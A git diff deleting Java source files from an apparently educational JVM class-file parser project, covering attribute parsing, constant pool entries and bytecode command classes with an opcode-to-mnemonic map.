diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/LocalVariableTable.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/LocalVariableTable.java
deleted file mode 100644
index 3228616eac..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/LocalVariableTable.java
+++ /dev/null
@@ -1,49 +0,0 @@
-package com.github.orajavac.coding2017.jvm.attr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
-import com.github.orajavac.coding2017.jvm.loader.ByteCodeIterator;
-
-public class LocalVariableTable extends AttributeInfo{
-	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
-	
-	public LocalVariableTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);		
-	}
-	
-	public static LocalVariableTable parse(ByteCodeIterator iter){
-		int index = iter.nextU2ToInt();
-		int len = iter.nextU4ToInt();
-		LocalVariableTable table = new LocalVariableTable(index,len);
-		int itemLen = iter.nextU2ToInt();
-		for (int i=1;i<=itemLen;i++){
-			LocalVariableItem item = new LocalVariableItem();
-			item.setStartPC(iter.nextU2ToInt());
-			item.setLength(iter.nextU2ToInt());
-			item.setNameIndex(iter.nextU2ToInt());
-			item.setDescIndex(iter.nextU2ToInt());
-			item.setIndex(iter.nextU2ToInt());
-			table.addLocalVariableItem(item);
-		}
-		return table;
-	}
-	
-	public String toString(ConstantPool pool){
-		StringBuilder buffer = new StringBuilder();
-		buffer.append("Local Variable Table:\n");
-		for(LocalVariableItem item : items){
-			buffer.append("startPC:"+item.getStartPC()).append(",");
-			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
-			buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
-			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
-		}
-		buffer.append("\n");
-		return buffer.toString();
-	}
-	
-	private void addLocalVariableItem(LocalVariableItem item) {
-		this.items.add(item);		
-	}
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/StackMapTable.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/StackMapTable.java
deleted file mode 100644
index e9d5430659..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/StackMapTable.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.github.orajavac.coding2017.jvm.attr;
-
-import com.github.orajavac.coding2017.jvm.loader.ByteCodeIterator;
-
-public class StackMapTable extends AttributeInfo{
-	private String originalCode;
-
-	public StackMapTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);		
-	}
-
-	public static StackMapTable parse(ByteCodeIterator iter){
-		int index = iter.nextU2ToInt();
-		int len = iter.nextU4ToInt();
-		StackMapTable t = new StackMapTable(index,len);
-		
-		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
-		String code = iter.nextUxToHexString(len);
-		t.setOriginalCode(code);
-		
-		return t;
-	}
-
-	private void setOriginalCode(String code) {
-		this.originalCode = code;
-		
-	}
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/clz/AccessFlag.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/clz/AccessFlag.java
deleted file mode 100644
index 5bcce47ff1..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/clz/AccessFlag.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package com.github.orajavac.coding2017.jvm.clz;
-
-public class AccessFlag {
-	private int flagValue;
-
-	public AccessFlag(int value) {
-		this.flagValue = value;
-	}
-
-	public int getFlagValue() {
-		return flagValue;
-	}
-
-	public void setFlagValue(int flag) {
-		this.flagValue = flag;
-	}
-	
-	public boolean isPublicClass(){
-		return (this.flagValue & 0x0001) != 0;
-	}
-	public boolean isFinalClass(){
-		return (this.flagValue & 0x0010) != 0;
-	}
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/clz/ClassFile.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/clz/ClassFile.java
deleted file mode 100644
index f29ce707e1..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/clz/ClassFile.java
+++ /dev/null
@@ -1,91 +0,0 @@
-package com.github.orajavac.coding2017.jvm.clz;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.github.orajavac.coding2017.jvm.constant.ClassInfo;
-import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
-import com.github.orajavac.coding2017.jvm.field.Field;
-import com.github.orajavac.coding2017.jvm.method.Method;
-
-public class ClassFile {
-	private int minorVersion;
-	private int majorVersion;
-	
-	private AccessFlag accessFlag;
-	private ClassIndex clzIndex;
-	private ConstantPool pool;
-	private List<Field> fields = new ArrayList<Field>();
-	private List<Method> methods = new ArrayList<Method>();
-	
-	public ClassIndex getClzIndex() {
-		return clzIndex;
-	}
-	public AccessFlag getAccessFlag() {
-		return accessFlag;
-	}
-	public void setAccessFlag(AccessFlag accessFlag) {
-		this.accessFlag = accessFlag;
-	}
-	
-	
-	
-	public ConstantPool getConstantPool() {		
-		return pool;
-	}
-	public int getMinorVersion() {
-		return minorVersion;
-	}
-	public void setMinorVersion(int minorVersion) {
-		this.minorVersion = minorVersion;
-	}
-	public int getMajorVersion() {
-		return majorVersion;
-	}
-	public void setMajorVersion(int majorVersion) {
-		this.majorVersion = majorVersion;
-	}
-	public void setConstPool(ConstantPool pool) {
-		this.pool = pool;
-		
-	}
-	public void setClassIndex(ClassIndex clzIndex) {
-		this.clzIndex = clzIndex;		
-	}
-	
-	public void addField(Field f){
-		this.fields.add(f);
-	}
-	public List<Field> getFields(){
-		return this.fields;
-	}
-	public void addMethod(Method m){
-		this.methods.add(m);
-	}
-	public List<Method> getMethods() {
-		return methods;
-	}
-	
-	
-	public void print(){
-		
-		if(this.accessFlag.isPublicClass()){
-			System.out.println("Access flag : public  ");
-		}
-		System.out.println("Class Name:"+ getClassName());
-		
-		System.out.println("Super Class Name:"+ getSuperClassName());
-		
-		
-	}
-	
-	public String getClassName(){
-		int thisClassIndex = this.clzIndex.getThisClassIndex();
-		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
-		return thisClass.getClassName();
-	}
-	public String getSuperClassName(){
-		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
-		return superClass.getClassName();
-	}
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/clz/ClassIndex.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/clz/ClassIndex.java
deleted file mode 100644
index 4959c05a2d..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/clz/ClassIndex.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.github.orajavac.coding2017.jvm.clz;
-
-public class ClassIndex {
-	private int thisClassIndex;
-	private int superClassIndex;
-	
-	public int getThisClassIndex() {
-		return thisClassIndex;
-	}
-	public void setThisClassIndex(int thisClassIndex) {
-		this.thisClassIndex = thisClassIndex;
-	}
-	public int getSuperClassIndex() {
-		return superClassIndex;
-	}
-	public void setSuperClassIndex(int superClassIndex) {
-		this.superClassIndex = superClassIndex;
-	}
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/BiPushCmd.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/BiPushCmd.java
deleted file mode 100644
index 7ecc43d30e..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/BiPushCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.github.orajavac.coding2017.jvm.cmd;
-
-import com.github.orajavac.coding2017.jvm.clz.ClassFile;
-import com.github.orajavac.coding2017.jvm.constant.ConstantInfo;
-import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
-
-
-public class BiPushCmd extends OneOperandCmd {
-
-	public BiPushCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-	
-		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
-	}
-	
-	
-
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/ByteCodeCommand.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/ByteCodeCommand.java
deleted file mode 100644
index 62e56ecfc9..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/ByteCodeCommand.java
+++ /dev/null
@@ -1,128 +0,0 @@
-package com.github.orajavac.coding2017.jvm.cmd;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import com.github.orajavac.coding2017.jvm.clz.ClassFile;
-import com.github.orajavac.coding2017.jvm.constant.ConstantInfo;
-import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
-
-
-public abstract class ByteCodeCommand {	
-	
-	String opCode;
-	ClassFile clzFile;	
-	private int offset;
-	
-	private static Map<String,String> codeMap = new HashMap<String,String>();
-	
-	static{
-		codeMap.put("01", "aconst_null");
-		
-		codeMap.put("BB", "new");
-		codeMap.put("37", "lstore");
-		codeMap.put("B7", "invokespecial");
-		codeMap.put("B6", "invokevirtual");
-		codeMap.put("B4", "getfield");
-		codeMap.put("B5", "putfield");
-		codeMap.put("B2", "getstatic");
-		
-		codeMap.put("2A", "aload_0");
-		codeMap.put("2B", "aload_1");
-		codeMap.put("2C", "aload_2");
-		
-		codeMap.put("10", "bipush");
-		codeMap.put("15", "iload");
-		codeMap.put("1A", "iload_0");
-		codeMap.put("1B", "iload_1");
-		codeMap.put("1C", "iload_2");
-		codeMap.put("1D", "iload_3");
-		
-		codeMap.put("25", "fload_3");
-		
-		codeMap.put("1E", "lload_0");
-		
-		codeMap.put("24", "fload_2");
-		codeMap.put("4C", "astore_1");
-		
-		codeMap.put("A2", "if_icmp_ge");
-		codeMap.put("A4", "if_icmple");
-		
-		codeMap.put("A7", "goto");
-		
-		codeMap.put("B1", "return");
-		codeMap.put("AC", "ireturn");
-		codeMap.put("AE", "freturn");
-		
-		codeMap.put("03", "iconst_0");
-		codeMap.put("04", "iconst_1");
-		
-		codeMap.put("3C", "istore_1");
-		codeMap.put("3D", "istore_2");
-		
-		codeMap.put("59", "dup");
-		
-		codeMap.put("60", "iadd");
-		codeMap.put("84", "iinc");
-		
-		codeMap.put("12", "ldc");
-	}
-	
-	
-
-	
-
-	protected ByteCodeCommand(ClassFile clzFile, String opCode){
-		this.clzFile = clzFile;
-		this.opCode = opCode;
-	}
-	
-	protected ClassFile getClassFile() {
-		return clzFile;
-	}
-	
-	public int getOffset() {
-		return offset;
-	}
-
-	public void setOffset(int offset) {
-		this.offset = offset;
-	}
-	protected ConstantInfo getConstantInfo(int index){
-		return this.getClassFile().getConstantPool().getConstantInfo(index);
-	}
-	
-	protected ConstantPool getConstantPool(){
-		return this.getClassFile().getConstantPool();
-	}
-	
-	
-	
-	public String getOpCode() {
-		return opCode;
-	}
-
-	public abstract int getLength();
-	
-	
-	
-	
-	public String toString(){
-		
-		StringBuffer buffer = new StringBuffer();
-		buffer.append(this.opCode);
-		
-		return buffer.toString();
-	}
-	public abstract String toString(ConstantPool pool);
-	
-	public String getReadableCodeText(){
-		String txt = codeMap.get(opCode);
-		if(txt == null){
-			return opCode;
-		}
-		return txt;
-	}
-	
-	//public abstract void execute(StackFrame frame,FrameResult result);
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/CommandParser.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/CommandParser.java
deleted file mode 100644
index 7223cb7afc..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/CommandParser.java
+++ /dev/null
@@ -1,85 +0,0 @@
-package com.github.orajavac.coding2017.jvm.cmd;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.github.orajavac.coding2017.jvm.clz.ClassFile;
-
-public class CommandParser {
-	
-	public static final String aconst_null = "01";
-	public static final String new_object = "BB";
-	public static final String lstore = "37";
-	public static final String invokespecial = "B7";
-	public static final String invokevirtual = "B6";
-	public static final String getfield = "B4";
-	public static final String putfield = "B5";
-	public static final String getstatic = "B2";
-	public static final String ldc = "12";
-	public static final String dup = "59";
-	public static final String bipush = "10";
-	public static final String aload_0 = "2A";
-	public static final String aload_1 = "2B";
-	public static final String aload_2 = "2C";
-	public static final String iload = "15";
-	public static final String iload_1 = "1B";
-	public static final String iload_2 = "1C";
-	public static final String iload_3 = "1D";
-	public static final String fload_3 = "25";
-
-	public static final String voidreturn = "B1";
-	public static final String ireturn = "AC";
-	public static final String freturn = "AE";
-
-	public static final String astore_1 = "4C";
-	public static final String if_icmp_ge = "A2";
-	public static final String if_icmple = "A4";
-	public static final String goto_no_condition = "A7";
-	public static final String iconst_0 = "03";
-	public static final String iconst_1 = "04";
-	public static final String istore_1 = "3C";
-	public static final String istore_2 = "3D";
-	public static final String iadd = "60";
-	public static final String iinc = "84";
-
-	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
-
-		
-		return null;
-	}
-
-	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
-
-		int offset = 0;
-		for (ByteCodeCommand cmd : cmds) {
-			cmd.setOffset(offset);
-			offset += cmd.getLength();
-		}
-
-	}
-
-	private static class CommandIterator {
-		String codes = null;
-		int pos = 0;
-
-		CommandIterator(String codes) {
-			this.codes = codes;
-		}
-
-		public boolean hasNext() {
-			return pos < this.codes.length();
-		}
-
-		public String next2CharAsString() {
-			String result = codes.substring(pos, pos + 2);
-			pos += 2;
-			return result;
-		}
-
-		public int next2CharAsInt() {
-			String s = this.next2CharAsString();
-			return Integer.valueOf(s, 16).intValue();
-		}
-
-	}
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/GetFieldCmd.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/GetFieldCmd.java
deleted file mode 100644
index acd1d7202f..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/GetFieldCmd.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package com.github.orajavac.coding2017.jvm.cmd;
-
-import com.github.orajavac.coding2017.jvm.clz.ClassFile;
-import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
-
-
-public class GetFieldCmd extends TwoOperandCmd {
-
-	public GetFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-	
-	
-
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/GetStaticFieldCmd.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/GetStaticFieldCmd.java
deleted file mode 100644
index 7bdc7ca76b..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/GetStaticFieldCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.github.orajavac.coding2017.jvm.cmd;
-
-import com.github.orajavac.coding2017.jvm.clz.ClassFile;
-import com.github.orajavac.coding2017.jvm.constant.ClassInfo;
-import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
-import com.github.orajavac.coding2017.jvm.constant.FieldRefInfo;
-import com.github.orajavac.coding2017.jvm.constant.UTF8Info;
-
-
-public class GetStaticFieldCmd extends TwoOperandCmd {
-
-	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/InvokeSpecialCmd.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/InvokeSpecialCmd.java
deleted file mode 100644
index f467b84f3f..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/InvokeSpecialCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.github.orajavac.coding2017.jvm.cmd;
-
-import com.github.orajavac.coding2017.jvm.clz.ClassFile;
-import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
-import com.github.orajavac.coding2017.jvm.constant.MethodRefInfo;
-
-
-public class InvokeSpecialCmd extends TwoOperandCmd {
-
-	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
-	}
-
-	
-
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/InvokeVirtualCmd.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/InvokeVirtualCmd.java
deleted file mode 100644
index f210141c66..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/InvokeVirtualCmd.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package com.github.orajavac.coding2017.jvm.cmd;
-
-import com.github.orajavac.coding2017.jvm.clz.ClassFile;
-import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
-
-
-public class InvokeVirtualCmd extends TwoOperandCmd {
-
-	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
-	}
-
-	
-	
-
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/LdcCmd.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/LdcCmd.java
deleted file mode 100644
index 41f73494e7..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/LdcCmd.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package com.github.orajavac.coding2017.jvm.cmd;
-
-import com.github.orajavac.coding2017.jvm.clz.ClassFile;
-import com.github.orajavac.coding2017.jvm.constant.ConstantInfo;
-import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
-import com.github.orajavac.coding2017.jvm.constant.StringInfo;
-
-public class LdcCmd extends OneOperandCmd {
-
-	public LdcCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-	
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
-		
-		String value = "TBD";
-		if(info instanceof StringInfo){
-			StringInfo strInfo = (StringInfo)info;
-			value = strInfo.toString();
-		}
-		
-		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
-		
-	}
-	
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/NewObjectCmd.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/NewObjectCmd.java
deleted file mode 100644
index 52d280cc0b..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/NewObjectCmd.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.github.orajavac.coding2017.jvm.cmd;
-
-import com.github.orajavac.coding2017.jvm.clz.ClassFile;
-import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
-
-public class NewObjectCmd extends TwoOperandCmd{
-	
-	public NewObjectCmd(ClassFile clzFile, String opCode){
-		super(clzFile,opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsClassInfo(pool);
-	}
-
-	
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/NoOperandCmd.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/NoOperandCmd.java
deleted file mode 100644
index 7a6781c152..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/NoOperandCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.github.orajavac.coding2017.jvm.cmd;
-
-import com.github.orajavac.coding2017.jvm.clz.ClassFile;
-import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
-
-public class NoOperandCmd extends ByteCodeCommand{
-
-	public NoOperandCmd(ClassFile clzFile, String opCode) {
-		super(clzFile, opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
-	}
-
-	
-	
-	public  int getLength(){
-		return 1;
-	}
-
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/OneOperandCmd.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/OneOperandCmd.java
deleted file mode 100644
index f9d005287f..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/OneOperandCmd.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package com.github.orajavac.coding2017.jvm.cmd;
-
-import com.github.orajavac.coding2017.jvm.clz.ClassFile;
-
-public abstract class OneOperandCmd extends ByteCodeCommand {
-
-	private int operand;
-	
-	public OneOperandCmd(ClassFile clzFile,String opCode) {
-		super(clzFile, opCode);
-		
-	}
-	public  int getOperand() {
-		
-		return this.operand;
-	}
-
-	public void setOperand(int oprand1) {
-		this.operand = oprand1;
-		
-	}
-	public  int getLength(){
-		return 2;
-	}
-
-	
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/PutFieldCmd.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/PutFieldCmd.java
deleted file mode 100644
index 1fd6b367e1..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/PutFieldCmd.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.github.orajavac.coding2017.jvm.cmd;
-
-import com.github.orajavac.coding2017.jvm.clz.ClassFile;
-import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
-
-public class PutFieldCmd extends TwoOperandCmd {
-
-	public PutFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/TwoOperandCmd.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/TwoOperandCmd.java
deleted file mode 100644
index 4deb99ecd2..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/TwoOperandCmd.java
+++ /dev/null
@@ -1,67 +0,0 @@
-package com.github.orajavac.coding2017.jvm.cmd;
-
-import com.github.orajavac.coding2017.jvm.clz.ClassFile;
-import com.github.orajavac.coding2017.jvm.constant.ClassInfo;
-import com.github.orajavac.coding2017.jvm.constant.ConstantInfo;
-import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
-import com.github.orajavac.coding2017.jvm.constant.FieldRefInfo;
-import com.github.orajavac.coding2017.jvm.constant.MethodRefInfo;
-
-public abstract class TwoOperandCmd extends ByteCodeCommand{
-	
-	int oprand1 = -1;
-	int oprand2 = -1;
-	
-	public int getOprand1() {
-		return oprand1;
-	}
-
-	public void setOprand1(int oprand1) {
-		this.oprand1 = oprand1;
-	}
-
-	public void setOprand2(int oprand2) {
-		this.oprand2 = oprand2;
-	}
-
-	public int getOprand2() {
-		return oprand2;
-	}
-	
-	public TwoOperandCmd(ClassFile clzFile,String opCode) {
-		super(clzFile, opCode);
-	}
-
-	public int getIndex(){
-		int oprand1 = this.getOprand1();
-		int oprand2 = this.getOprand2();
-		int index = oprand1 << 8 | oprand2;
-		return index;
-	}
-	
-	protected String getOperandAsClassInfo(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
-	}
-	
-	protected String getOperandAsMethod(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		ConstantInfo constInfo = this.getConstantInfo(index);
-		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
-
-	protected String getOperandAsField(ConstantPool pool){
-		int index = getIndex();
-		
-		String codeTxt = getReadableCodeText();
-		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
-	public  int getLength(){
-		return 3;
-	}
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/ClassInfo.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/ClassInfo.java
deleted file mode 100644
index 61dcdd9d3f..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/ClassInfo.java
+++ /dev/null
@@ -1,30 +0,0 @@
-package com.github.orajavac.coding2017.jvm.constant;
-
-public class ClassInfo extends ConstantInfo {
-	private int type = ConstantInfo.CLASS_INFO;
-	private int utf8Index ;
-	public ClassInfo(ConstantPool pool) {
-		super(pool);
-	}
-	public int getUtf8Index() {
-		return utf8Index;
-	}
-	public void setUtf8Index(int utf8Index) {
-		this.utf8Index = utf8Index;
-	}
-	public int getType() {
-		return type;
-	}
-	
-	public String getClassName() {		
-		int index = getUtf8Index();
-		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
-		return utf8Info.getValue();		
-	}
-	
-	@Override
-	public void accept(Visistor visitor) {
-		visitor.visitClassInfo(this);
-		
-	}
-}
\ No newline at end of file
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/ConstantInfo.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/ConstantInfo.java
deleted file mode 100644
index 37055df0a2..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/ConstantInfo.java
+++ /dev/null
@@ -1,40 +0,0 @@
-package com.github.orajavac.coding2017.jvm.constant;
-
-public abstract class ConstantInfo {
-	
-	public static final int UTF8_INFO = 1;
-	public static final int FLOAT_INFO = 4;
-	public static final int CLASS_INFO = 7;
-	public static final int STRING_INFO = 8;
-	public static final int FIELD_INFO = 9;
-	public static final int METHOD_INFO = 10;
-	public static final int NAME_AND_TYPE_INFO = 12;
-	protected ConstantPool constantPool;
-	
-	public ConstantInfo(){
-		
-	}
-	
-	public ConstantInfo(ConstantPool pool) {
-		this.constantPool = pool;
-	}
-	public abstract int getType();
-	
-	public ConstantPool getConstantPool() {
-		return constantPool;
-	}
-	public ConstantInfo getConstantInfo(int index){
-		return this.constantPool.getConstantInfo(index);
-	}
-	
-	public abstract void accept(Visistor visistor);
-	
-	public static interface Visistor{
-		public void visitClassInfo(ClassInfo info);
-		public void visitFieldRef(FieldRefInfo info);
-		public void visitMethodRef(MethodRefInfo info);
-		public void visitNameAndType(NameAndTypeInfo info);
-		public void visitString(StringInfo info);
-		public void visitUTF8(UTF8Info info);
-	}
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/ConstantPool.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/ConstantPool.java
deleted file mode 100644
index 304e78f8ba..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/ConstantPool.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.github.orajavac.coding2017.jvm.constant;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class ConstantPool {
-	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
-	
-	
-	public ConstantPool(){
-		
-	}
-	public void addConstantInfo(ConstantInfo info){
-		
-		this.constantInfos.add(info);
-		
-	}
-	
-	public ConstantInfo getConstantInfo(int index){
-		return this.constantInfos.get(index);
-	}
-	public String getUTF8String(int index){
-		return ((UTF8Info)this.constantInfos.get(index)).getValue();
-	}
-	public int getSize() {		
-		return this.constantInfos.size() -1;
-	}
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/FieldRefInfo.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/FieldRefInfo.java
deleted file mode 100644
index c9a06f397d..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/FieldRefInfo.java
+++ /dev/null
@@ -1,60 +0,0 @@
-package com.github.orajavac.coding2017.jvm.constant;
-
-public class FieldRefInfo extends ConstantInfo{
-	private int type = ConstantInfo.FIELD_INFO;
-	private int classInfoIndex;
-	private int nameAndTypeIndex;
-	
-	public FieldRefInfo(ConstantPool pool) {
-		super(pool);
-	}
-	public int getType() {
-		return type;
-	}
-	
-	public int getClassInfoIndex() {
-		return classInfoIndex;
-	}
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-	
-	public String toString(){
-		
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		
-		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
-	}
-	
-	public String getClassName(){
-		
-		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
-		
-		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
-		
-		return utf8Info.getValue();
-		
-	}
-	
-	public String getFieldName(){
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getName();		
-	}
-	
-	public String getFieldType(){
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getTypeInfo();	
-	}
-	
-	@Override
-	public void accept(Visistor visitor) {
-		visitor.visitFieldRef(this);
-		
-	}
-}
